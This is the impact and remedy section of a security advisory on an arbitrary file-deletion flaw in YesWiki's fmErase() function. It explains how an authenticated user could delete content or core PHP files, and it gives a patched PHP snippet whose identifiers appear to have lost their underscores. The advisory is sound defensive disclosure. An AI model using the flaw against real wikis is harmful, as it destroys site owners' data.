Impact This vulnerability allows any authenticated user to arbitrarly remove content from the Wiki resulting in partial loss of data and defacement/deteroriation of the website. In the context of a container installation of YesWiki without any modification, the 'yeswiki' files (for example .php) are not owned by the same user (root) as the one running the FPM process (www-data). However in a standard installation, www-data may also be the owner of the PHP files, allowing a malicious user to completely cut the access to the wiki by deleting all important PHP files (like index.php or core files of YesWiki).
Suggestion of possible corrective measures
- Restrict the possible paths of fmErase() to the uploadpath directory.
- Restrict the use of fmErase() to trashed files only.
php public function fmErase() { $path = $this->GetUploadPath(); $filename = $this->GetUploadPath() . '/' . basename(realpath(($GET['file'] ? $GET['file'] : ''))); //Sanitize file path if (fileexists($filename) && pregmatch('/trash\d{14}$/', $filename)) { //Make sure that the filename ends with trash and a date unlink($filename); } }
- Make sure that any request to fmErase() or fmDelete() originates from the owner of the resource to which the attachment is linked (asks a bit more than a few lines of code).